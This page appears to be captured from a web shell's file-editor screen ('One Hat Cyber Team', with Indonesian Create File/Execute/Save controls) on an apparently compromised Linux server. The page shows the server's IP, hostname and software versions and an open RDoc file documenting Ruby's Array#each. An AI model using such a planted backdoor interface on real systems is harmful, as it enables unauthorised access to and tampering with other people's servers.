⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.13
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Array
/
Edit File: each-i.ri
U:RDoc::AnyMethod[iI" each:ETI"Array#each;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I""Iterates over array elements.;To:RDoc::Markup::BlankLine o; ; [I"LWhen a block given, passes each successive array element to the block; ;TI"returns +self+:;To:RDoc::Markup::Verbatim; [I"a = [:foo, 'bar', 2] ;TI"=a.each {|element| puts "#{element.class} #{element}" } ;T:@format0o; ; [I"Output:;To;; [I"Symbol foo ;TI"String bar ;TI"Integer 2 ;T; 0o; ; [I"6Allows the array to be modified during iteration:;To;; [I"a = [:foo, 'bar', 2] ;TI"Pa.each {|element| puts element; a.clear if element.to_s.start_with?('b') } ;T; 0o; ; [I"Output:;To;; [I" foo ;TI" bar ;T; 0o; ; [I"4When no block given, returns a new \Enumerator:;To;; [ I"a = [:foo, 'bar', 2] ;TI"e = a.each ;TI"1e # => #<Enumerator: [:foo, "bar", 2]:each> ;TI"Ba1 = e.each {|element| puts "#{element.class} #{element}" } ;T; 0o; ; [I"Output:;To;; [I"Symbol foo ;TI"String bar ;TI"Integer 2 ;T; 0o; ; [I")Related: #each_index, #reverse_each.;T: @fileI"array.c;T:0@omit_headings_from_table_of_contents_below0I"Barray.each {|element| ... } -> self array.each -> Enumerator ;T0[ I"();T@AFI" Array;TcRDoc::NormalClass00
Simpan